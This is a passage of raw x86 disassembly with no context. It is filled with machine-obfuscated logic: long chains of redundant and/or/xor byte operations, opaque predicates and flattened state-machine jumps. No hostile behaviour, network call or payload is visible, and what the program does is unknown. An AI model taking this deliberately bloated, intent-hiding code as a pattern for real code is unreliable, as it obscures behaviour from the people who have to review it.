mov byte [ebp - 0x34d], al
mov al, byte [ebp - 0x34c]
or bl, al
mov al, byte [ebp - 0x34d]
or al, bh
xor bl, al
xor bl, 0xff
mov al, dl
xor al, 1
mov bh, dl
xor bh, 0
or bl, al
or bh, 0
xor bl, 0xff
and bl, bh
mov al, dl
xor al, 1
xor ch, 0xff
mov bh, dl
xor bh, 0
or al, ch
or bh, 0
xor al, 0xff
and al, bh
mov ch, cl
xor ch, 0xff
mov bh, byte [ebp - 0x34b]
xor bh, 0xff
mov byte [ebp - 0x34e], al
mov al, dl
xor al, 1
mov byte [ebp - 0x34f], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x350], al
mov al, byte [ebp - 0x34f]
and cl, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x351], al
mov al, byte [ebp - 0x34b]
mov byte [ebp - 0x352], cl
mov cl, byte [ebp - 0x34f]
and al, cl
mov cl, byte [ebp - 0x350]
mov byte [ebp - 0x353], al
mov al, byte [ebp - 0x352]
or cl, al
mov al, byte [ebp - 0x351]
mov byte [ebp - 0x354], cl
mov cl, byte [ebp - 0x353]
or al, cl
mov cl, byte [ebp - 0x354]
xor cl, al
or ch, bh
xor ch, 0xff
mov al, byte [ebp - 0x34f]
or al, 1
and ch, al
or cl, ch
mov al, bl
xor al, 0xff
mov ch, byte [ebp - 0x34e]
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x355], al
and al, 0xff
and bl, bh
mov byte [ebp - 0x356], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x357], al
mov al, byte [ebp - 0x34e]
and al, bh
mov byte [ebp - 0x358], al
mov al, byte [ebp - 0x356]
or al, bl
mov bl, byte [ebp - 0x357]
mov byte [ebp - 0x359], al
mov al, byte [ebp - 0x358]
or bl, al
mov al, byte [ebp - 0x359]
xor al, bl
mov bl, byte [ebp - 0x355]
or bl, ch
xor bl, 0xff
or bh, 1
and bl, bh
or al, bl
mov ch, cl
xor ch, 0xff
mov bl, al
and bl, ch
xor al, 0xff
and cl, al
or bl, cl
mov al, dl
xor al, 0
and al, 0
mov cl, dl
xor cl, 0
mov ch, cl
and ch, 0
mov bh, dl
xor bh, 1
and bh, 0
and cl, 1
or al, ch
or bh, cl
xor al, bh
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bh, ah
and bh, ch
mov byte [ebp - 0x35a], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x35b], al
mov al, byte [ebp - 0x35a]
and al, ch
or cl, bh
mov ch, byte [ebp - 0x35b]
or ch, al
xor cl, ch
mov al, ah
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and dh, cl
mov bh, dl
xor bh, 1
and bh, 0xff
and cl, 1
or al, dh
or bh, cl
xor al, bh
mov cl, bl
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bh, bl
and bh, dh
or cl, bh
mov dh, dl
xor dh, 0
and dh, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x35c], al
mov al, bh
and al, 0
mov byte [ebp - 0x35d], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x35e], al
mov al, byte [ebp - 0x35d]
or dh, al
mov al, byte [ebp - 0x35e]
or al, bh
xor dh, al
mov al, byte [ebp - 0x35c]
xor al, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x35f], al
mov al, dl
xor al, 1
mov byte [ebp - 0x360], al
mov al, byte [ebp - 0x35f]
and al, 0xff
mov byte [ebp - 0x361], al
mov al, byte [ebp - 0x35c]
mov byte [ebp - 0x362], cl
mov cl, byte [ebp - 0x360]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x363], al
mov al, byte [ebp - 0x362]
mov byte [ebp - 0x364], cl
mov cl, byte [ebp - 0x360]
and al, cl
mov cl, byte [ebp - 0x361]
mov byte [ebp - 0x365], al
mov al, byte [ebp - 0x363]
or cl, al
mov al, byte [ebp - 0x364]
mov byte [ebp - 0x366], cl
mov cl, byte [ebp - 0x365]
or al, cl
mov cl, byte [ebp - 0x366]
xor cl, al
mov al, byte [ebp - 0x35f]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x360]
or bh, 1
and al, bh
or cl, al
mov al, dl
xor al, 0
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x367], al
mov al, dl
xor al, 1
mov byte [ebp - 0x368], al
mov al, byte [ebp - 0x367]
and al, 0xff
mov byte [ebp - 0x369], al
mov al, byte [ebp - 0x368]
and al, 0
mov byte [ebp - 0x36a], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x36b], al
mov al, byte [ebp - 0x368]
and dh, al
mov al, byte [ebp - 0x369]
mov byte [ebp - 0x36c], cl
mov cl, byte [ebp - 0x36a]
or al, cl
mov cl, byte [ebp - 0x36b]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x367]
or cl, bh
xor cl, 0xff
mov dh, byte [ebp - 0x368]
or dh, 1
and cl, dh
or al, cl
mov cl, byte [ebp - 0x36c]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bh, byte [ebp - 0x36c]
and bh, dh
mov byte [ebp - 0x36d], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, byte [ebp - 0x36d]
xor al, 0xff
mov dh, cl
xor dh, al
and dh, cl
mov al, byte [ebp - 0x34a]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov bh, byte [ebp - 0x34a]
and bh, cl
or al, bh
mov cl, dl
xor cl, 0
and cl, 1
mov bh, dl
xor bh, 1
and bh, 0
or cl, bh
mov bh, dl
xor bh, 1
and bh, 1
mov byte [ebp - 0x36e], al
mov al, dl
xor al, 1
and al, 1
or bh, al
mov al, byte [ebp - 0x36e]
xor al, 0xff
mov byte [ebp - 0x36f], al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x370], al
mov al, dl
xor al, 1
mov byte [ebp - 0x371], al
mov al, byte [ebp - 0x36f]
and al, 0xff
mov byte [ebp - 0x372], al
mov al, byte [ebp - 0x36e]
mov byte [ebp - 0x373], cl
mov cl, byte [ebp - 0x371]
and al, cl
mov cl, byte [ebp - 0x370]
and cl, 0xff
mov byte [ebp - 0x374], al
mov al, byte [ebp - 0x373]
mov byte [ebp - 0x375], cl
mov cl, byte [ebp - 0x371]
and al, cl
mov cl, byte [ebp - 0x372]
mov byte [ebp - 0x376], al
mov al, byte [ebp - 0x374]
or cl, al
mov al, byte [ebp - 0x375]
mov byte [ebp - 0x377], cl
mov cl, byte [ebp - 0x376]
or al, cl
mov cl, byte [ebp - 0x377]
xor cl, al
mov al, byte [ebp - 0x36f]
mov byte [ebp - 0x378], cl
mov cl, byte [ebp - 0x370]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x371]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x378]
or cl, al
mov al, dl
xor al, 1
mov byte [ebp - 0x379], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x37a], al
mov al, dl
xor al, 1
mov byte [ebp - 0x37b], al
mov al, byte [ebp - 0x379]
and al, 0xff
mov byte [ebp - 0x37c], al
mov al, byte [ebp - 0x37b]
and al, 1
mov byte [ebp - 0x37d], al
mov al, byte [ebp - 0x37a]
and al, 0xff
mov byte [ebp - 0x37e], al
mov al, byte [ebp - 0x37b]
and bh, al
mov al, byte [ebp - 0x37c]
mov byte [ebp - 0x37f], cl
mov cl, byte [ebp - 0x37d]
or al, cl
mov cl, byte [ebp - 0x37e]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x379]
mov bh, byte [ebp - 0x37a]
or cl, bh
xor cl, 0xff
mov bh, byte [ebp - 0x37b]
or bh, 1
and cl, bh
or al, cl
mov cl, byte [ebp - 0x37f]
xor cl, 0xff
and cl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x380], al
mov al, byte [ebp - 0x37f]
and al, bh
or cl, al
mov al, byte [ebp - 0x380]
xor al, 0xff
mov bh, cl
xor bh, al
and bh, cl
mov al, bl
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov byte [ebp - 0x381], al
mov al, bl
and al, cl
mov cl, byte [ebp - 0x381]
or cl, al
mov al, byte [ebp - 0x345]
xor al, 0xff
mov byte [ebp - 0x382], al
mov al, cl
mov byte [ebp - 0x383], cl
mov cl, byte [ebp - 0x382]
and al, cl
mov cl, byte [ebp - 0x383]
xor cl, 0xff
mov byte [ebp - 0x384], al
mov al, byte [ebp - 0x345]
and al, cl
mov cl, byte [ebp - 0x384]
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0x345]
xor al, 0xff
mov byte [ebp - 0x385], al
mov al, dl
xor al, 0
mov byte [ebp - 0x386], al
mov al, byte [ebp - 0x385]
or cl, al
mov al, byte [ebp - 0x386]
or al, 0
xor cl, 0xff
and cl, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x387], al
mov al, ch
mov byte [ebp - 0x388], cl
mov cl, byte [ebp - 0x387]
xor al, cl
and al, ch
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x389], al
mov al, dh
and al, cl
xor dh, 0xff
and ch, dh
or al, ch
mov cl, byte [ebp - 0x389]
xor cl, 0xff
mov ch, al
xor ch, 0xff
mov dh, dl
xor dh, 0
mov byte [ebp - 0x38a], al
mov al, cl
and al, 0
mov byte [ebp - 0x38b], al
mov al, byte [ebp - 0x389]
and al, dh
mov byte [ebp - 0x38c], al
mov al, ch
and al, 0
mov byte [ebp - 0x38d], al
mov al, byte [ebp - 0x38a]
and al, dh
mov byte [ebp - 0x38e], al
mov al, byte [ebp - 0x38b]
mov byte [ebp - 0x38f], cl
mov cl, byte [ebp - 0x38c]
or al, cl
mov cl, byte [ebp - 0x38d]
mov byte [ebp - 0x390], al
mov al, byte [ebp - 0x38e]
or cl, al
mov al, byte [ebp - 0x390]
xor al, cl
mov cl, byte [ebp - 0x38f]
or cl, ch
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x388]
xor ch, 0xff
mov dh, dl
xor dh, 1
or cl, ch
or dh, 1
xor cl, 0xff
and cl, dh
mov ch, bh
xor ch, 0xff
mov dh, byte [ebp - 0x388]
and dh, ch
mov ch, byte [ebp - 0x388]
xor ch, 0xff
and bh, ch
or dh, bh
mov ch, cl
and ch, dh
xor cl, dh
or ch, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bh, al
and bh, dh
mov byte [ebp - 0x391], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
or cl, bh
or al, dh
xor cl, al
mov al, ch
xor al, 0xff
xor cl, 0xff
mov dh, dl
xor dh, 0
or al, cl
or dh, 0
xor al, 0xff
and al, dh
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
and ch, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or cl, ch
or bh, dh
xor cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x391]
xor ch, cl
mov cl, byte [ebp - 0x391]
and ch, cl
mov dh, al
and dh, ch
xor al, ch
or dh, al
mov al, byte [ebp - 0x34a]
xor al, 0xff
mov ch, ah
xor ch, al
and ch, ah
mov al, ah
xor al, 0xff
and al, 1
mov bh, dl
xor bh, 1
and ah, bh
mov cl, byte [ebp - 0x34a]
xor cl, 0xff
and cl, 0xff
mov byte [ebp - 0x392], al
mov al, byte [ebp - 0x34a]
and al, bh
mov bh, byte [ebp - 0x392]
or bh, ah
or cl, al
xor bh, cl
mov al, ch
and al, bh
xor ch, bh
or al, ch
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov ch, al
and ch, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, ch
or bh, ah
xor cl, bh
mov ah, dl
xor ah, 1
xor cl, 0xff
mov ch, dl
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
mov bh, ch
and bh, 1
mov byte [ebp - 0x393], al
mov al, dl
xor al, 1
and al, 0xff
and ch, 1
or cl, bh
or al, ch
xor cl, al
mov al, byte [ebp - 0x393]
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov bh, dl
xor bh, 1
or al, ch
or bh, 1
xor al, 0xff
and al, bh
mov ch, dl
xor ch, 1
and ch, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x394], al
mov al, bh
and al, 1
mov byte [ebp - 0x395], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x396], al
mov al, byte [ebp - 0x395]
or ch, al
mov al, byte [ebp - 0x396]
or al, bh
xor ch, al
mov al, dl
xor al, 1
mov bh, ch
xor bh, al
and bh, ch
mov al, dl
xor al, 1
xor cl, 0xff
mov ch, dl
xor ch, 1
or al, cl
or ch, 1
xor al, 0xff
and al, ch
mov cl, ah
xor cl, 0xff
mov ch, byte [ebp - 0x394]
xor ch, 0xff
mov byte [ebp - 0x397], al
mov al, dl
xor al, 0
mov byte [ebp - 0x398], al
mov al, cl
and al, 0
mov byte [ebp - 0x399], al
mov al, byte [ebp - 0x398]
and ah, al
mov al, ch
and al, 0
mov byte [ebp - 0x39a], al
mov al, byte [ebp - 0x394]
mov byte [ebp - 0x39b], cl
mov cl, byte [ebp - 0x398]
and al, cl
mov cl, byte [ebp - 0x399]
or cl, ah
mov ah, byte [ebp - 0x39a]
or ah, al
xor cl, ah
mov al, byte [ebp - 0x39b]
or al, ch
xor al, 0xff
mov ah, byte [ebp - 0x398]
or ah, 0
and al, ah
or cl, al
mov al, bh
xor al, 0xff
mov ah, byte [ebp - 0x397]
xor ah, 0xff
mov ch, dl
xor ch, 0
mov byte [ebp - 0x39c], al
and al, 0
and bh, ch
mov byte [ebp - 0x39d], al
mov al, ah
and al, 0
mov byte [ebp - 0x39e], al
mov al, byte [ebp - 0x397]
and al, ch
mov byte [ebp - 0x39f], al
mov al, byte [ebp - 0x39d]
or al, bh
mov bh, byte [ebp - 0x39e]
mov byte [ebp - 0x3a0], al
mov al, byte [ebp - 0x39f]
or bh, al
mov al, byte [ebp - 0x3a0]
xor al, bh
mov bh, byte [ebp - 0x39c]
or bh, ah
xor bh, 0xff
or ch, 0
and bh, ch
or al, bh
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
and cl, ch
mov bh, al
xor bh, 0xff
and bh, 0
and al, ch
or ah, cl
or bh, al
xor ah, bh
mov al, dl
xor al, 0
mov cl, bl
xor cl, 0xff
mov ch, dl
xor ch, 1
or al, cl
or ch, 1
xor al, 0xff
and al, ch
mov cl, dl
xor cl, 0
and cl, 0
mov ch, dl
xor ch, 0
mov bh, ch
and bh, 0
mov byte [ebp - 0x3a1], al
mov al, bl
xor al, 0xff
and al, 0
and bl, ch
or cl, bh
or al, bl
xor cl, al
mov al, byte [ebp - 0x3a1]
and al, cl
mov ch, byte [ebp - 0x3a1]
xor ch, cl
or al, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and al, ch
or cl, al
mov al, ah
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
mov al, ah
and al, cl
or ch, al
xor ch, 0xff
xor ah, 0xff
mov al, dl
xor al, 1
or ch, ah
or al, 1
xor ch, 0xff
and ch, al
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, dh
and ah, cl
or al, ah
mov cl, ch
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov bl, ch
and bl, ah
or cl, bl
mov ah, dl
xor ah, 0
and ah, 1
mov bl, dl
xor bl, 1
and bl, 0
or ah, bl
mov bl, dl
xor bl, 0
mov bh, al
xor bh, bl
and bh, al
xor dh, 0xff
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x3a2], al
mov al, dl
xor al, 1
or dh, bl
or al, 1
xor dh, 0xff
and dh, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0x3a3], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3a4], al
mov al, byte [ebp - 0x3a3]
or al, bl
mov bl, byte [ebp - 0x3a4]
or bl, 1
xor al, 0xff
and al, bl
xor ch, 0xff
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x3a5], al
mov al, dl
xor al, 1
or ch, bl
or al, 1
xor ch, 0xff
and ch, al
mov al, bh
and al, dh
xor bh, dh
or al, bh
mov dh, byte [ebp - 0x3a5]
and dh, ch
mov bl, byte [ebp - 0x3a5]
xor bl, ch
or dh, bl
mov ch, al
xor ch, 0xff
mov bl, dh
and bl, ch
xor dh, 0xff
and al, dh
or bl, al
mov al, byte [ebp - 0x3a2]
xor al, 0xff
mov ch, cl
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x3a6], al
mov al, byte [ebp - 0x3a2]
and al, dh
mov byte [ebp - 0x3a7], al
mov al, ch
and al, 0xff
and cl, dh
mov byte [ebp - 0x3a8], al
mov al, byte [ebp - 0x3a7]
or bh, al
mov al, byte [ebp - 0x3a8]
or al, cl
xor bh, al
mov al, byte [ebp - 0x3a6]
or al, ch
xor al, 0xff
or dh, 1
and al, dh
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
and bh, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, bh
or ch, cl
xor al, ch
mov cl, dl
xor cl, 0
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bh, cl
and bh, 0
mov byte [ebp - 0x3a9], al
mov al, dh
and al, 0
mov byte [ebp - 0x3aa], al
mov al, ch
and al, 0
and ah, dh
mov byte [ebp - 0x3ab], al
mov al, byte [ebp - 0x3aa]
or bh, al
mov al, byte [ebp - 0x3ab]
or al, ah
xor bh, al
or cl, ch
xor cl, 0xff
or dh, 0
and cl, dh
or bh, cl
xor bh, 0xff
mov al, byte [ebp - 0x3a9]
xor al, bh
mov cl, byte [ebp - 0x3a9]
and al, cl
mov ah, bl
xor ah, 0xff
mov ch, al
xor ch, 0xff
xor dl, 1
mov dh, ah
and dh, 0xff
and bl, dl
mov bh, ch
and bh, 0xff
and al, dl
or dh, bl
or bh, al
xor dh, bh
or ah, ch
xor ah, 0xff
or dl, 1
and ah, dl
or dh, ah
test dh, 1
mov esi, dword [ebp - 0x338]
mov edi, dword [ebp - 0x344]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x5eb807
mov dword [ebp - 0x28], 0x87eb9169
jmp 0x5eb807
mov eax, 0xdfcb162b
mov ecx, 0xaf687d11
mov dl, 1
xor esi, esi
mov edi, dword [0x5f90ac]
mov ebx, dword [0x5f90a4]
mov dword [ebp - 0x3b0], eax
mov eax, esi
sub eax, 0xf4c6ef0d
add eax, 0
mov dword [ebp - 0x3b4], eax
mov eax, esi
sub eax, 1
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x3bc], ecx
mov ecx, dword [ebp - 0x3b8]
add eax, ecx
add eax, 0x3dacb12e
add eax, 0xf4c6ef0d
sub eax, 0x3dacb12e
mov ecx, edi
sub ecx, 0xf3300886
sub ecx, 0x6a2d8028
add ecx, 0xf3300886
sub ecx, 0xd6d8a775
add ecx, eax
add ecx, 0xd6d8a775
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, 0x6a2d8028
add eax, ecx
sub esi, eax
imul edi, esi
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
xor cl, 0xff
mov ch, dh
xor ch, cl
and ch, dh
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or ah, bl
mov ch, dl
xor ch, 0
xor ah, 0xff
mov bl, dl
xor bl, 1
or ch, ah
or bl, 1
xor ch, 0xff
and ch, bl
mov ah, dl
xor ah, 0
and ah, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x3bd], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, byte [ebp - 0x3bd]
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 0
or al, bl
or bh, 0
xor al, 0xff
and al, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3be], al
mov al, dl
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, ch
xor al, 0xff
mov bh, byte [ebp - 0x3be]
xor bh, 0xff
mov byte [ebp - 0x3bf], al
mov al, dl
xor al, 1
mov byte [ebp - 0x3c0], al
mov al, byte [ebp - 0x3bf]
and al, 0xff
mov byte [ebp - 0x3c1], al
mov al, byte [ebp - 0x3c0]
and ch, al
mov al, bh
and al, 0xff
mov byte [ebp - 0x3c2], al
mov al, byte [ebp - 0x3be]
mov byte [ebp - 0x3c3], cl
mov cl, byte [ebp - 0x3c0]
and al, cl
mov cl, byte [ebp - 0x3c1]
or cl, ch
mov ch, byte [ebp - 0x3c2]
or ch, al
xor cl, ch
mov al, byte [ebp - 0x3bf]
or al, bh
xor al, 0xff
mov ch, byte [ebp - 0x3c0]
or ch, 1
and al, ch
or cl, al
mov al, bl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3c4], al
and al, 0
and bl, bh
mov byte [ebp - 0x3c5], al
mov al, ch
and al, 0
and ah, bh
mov byte [ebp - 0x3c6], al
mov al, byte [ebp - 0x3c5]
or al, bl
mov bl, byte [ebp - 0x3c6]
or bl, ah
xor al, bl
mov ah, byte [ebp - 0x3c4]
or ah, ch
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and cl, ch
mov bl, al
xor bl, 0xff
and bl, 0xff
and al, ch
or ah, cl
or bl, al
xor ah, bl
mov al, dl
xor al, 1
and al, 1
mov cl, dl
xor cl, 1
and cl, 1
or al, cl
mov cl, dl
xor cl, 1
xor al, 0xff
mov ch, dl
xor ch, 1
or cl, al
or ch, 1
xor cl, 0xff
and cl, ch
mov al, dl
xor al, 1
and al, 1
mov ch, dl
xor ch, 1
and ch, 1
or al, ch
mov ch, dl
xor ch, 1
xor al, 0xff
mov bl, dl
xor bl, 1
or ch, al
or bl, 1
xor ch, 0xff
and ch, bl
mov al, cl
xor al, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3c7], al
and al, 0
and cl, bh
mov byte [ebp - 0x3c8], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x3c9], al
mov al, byte [ebp - 0x3c8]
or al, cl
mov cl, byte [ebp - 0x3c9]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x3c7]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x3c3]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, byte [ebp - 0x3c3]
and bl, ch
or cl, bl
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
and bl, 1
or ch, bl
mov bl, dl
xor bl, 0
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
or bl, bh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x3ca], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x3cb], al
mov al, dl
xor al, 0
mov byte [ebp - 0x3cc], al
mov al, bh
and al, 0
mov byte [ebp - 0x3cd], al
mov al, byte [ebp - 0x3cc]
and cl, al
mov al, byte [ebp - 0x3cb]
and al, 0
mov byte [ebp - 0x3ce], al
mov al, byte [ebp - 0x3cc]
and ch, al
mov al, byte [ebp - 0x3cd]
or al, cl
mov cl, byte [ebp - 0x3ce]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x3cb]
or bh, cl
xor bh, 0xff
mov ch, byte [ebp - 0x3cc]
or ch, 0
and bh, ch
or al, bh
mov ch, bl
and ch, 0
xor bl, 0
or ch, bl
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
and al, bh
mov cl, dl
xor cl, 1
and cl, 0xff
and bh, 1
or bl, al
or cl, bh
xor bl, cl
xor ch, 0xff
mov al, bl
xor al, ch
and al, bl
mov cl, dh
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0
and ch, 1
or cl, dh
or bl, ch
xor cl, bl
mov ch, byte [ebp - 0x3ca]
xor ch, 0xff
and ch, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x3ca]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, dl
xor dh, 0
and dh, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x3cf], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, cl
xor al, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3d0], al
and al, 0
and cl, bh
mov byte [ebp - 0x3d1], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x3d2], al
mov al, byte [ebp - 0x3d1]
or al, cl
mov cl, byte [ebp - 0x3d2]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x3d0]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dh
and cl, 0
xor dh, 0
or cl, dh
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
and al, dh
or ch, al
xor cl, 0xff
mov al, ch
xor al, cl
and al, ch
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, ah
and dh, ch
or cl, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0
or dh, bl
mov bl, cl
and bl, ch
xor cl, ch
or bl, cl
mov cl, dh
and cl, 0
xor dh, 0
or cl, dh
mov ch, bl
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
xor cl, 0xff
mov dh, ch
xor dh, cl
and dh, ch
mov cl, byte [ebp - 0x3ca]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, byte [ebp - 0x3ca]
and bl, ch
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, byte [ebp - 0x3bd]
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x3bd]
and bh, bl
mov byte [ebp - 0x3d3], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bl
or ch, bh
or al, cl
xor ch, al
mov al, byte [ebp - 0x3bd]
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, byte [ebp - 0x3cf]
xor al, 0xff
mov ch, byte [ebp - 0x3d3]
xor ch, 0xff
mov bl, dl
xor bl, 0
or al, ch
or bl, 0
xor al, 0xff
and al, bl
mov ch, byte [ebp - 0x3cf]
xor ch, 0xff
and ch, 0
mov bl, dl
xor bl, 0
mov bh, byte [ebp - 0x3cf]
and bh, bl
mov byte [ebp - 0x3d4], al
mov al, byte [ebp - 0x3d3]
xor al, 0xff
and al, 0
mov byte [ebp - 0x3d5], al
mov al, byte [ebp - 0x3d3]
and al, bl
or ch, bh
mov bl, byte [ebp - 0x3d5]
or bl, al
xor ch, bl
mov al, byte [ebp - 0x3d4]
and al, ch
mov bl, byte [ebp - 0x3d4]
xor bl, ch
or al, bl
mov ch, dh
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or ch, bh
mov bl, cl
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x3d6], al
mov al, cl
and al, bh
mov byte [ebp - 0x3d7], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x3d8], al
mov al, byte [ebp - 0x3d7]
or bl, al
mov al, byte [ebp - 0x3d8]
or al, bh
xor bl, al
mov al, dl
xor al, 0
and al, 1
mov bh, dl
xor bh, 1
and bh, 0
or al, bh
mov bh, dl
xor bh, 0
mov byte [ebp - 0x3d9], al
mov al, ch
xor al, bh
and al, ch
mov bh, byte [ebp - 0x3d9]
xor bh, 0xff
mov byte [ebp - 0x3da], al
mov al, dh
xor al, bh
and al, dh
mov dh, dl
xor dh, 0
mov bh, bl
xor bh, dh
and bh, bl
xor cl, 0xff
mov dh, byte [ebp - 0x3d9]
xor dh, 0xff
mov byte [ebp - 0x3db], al
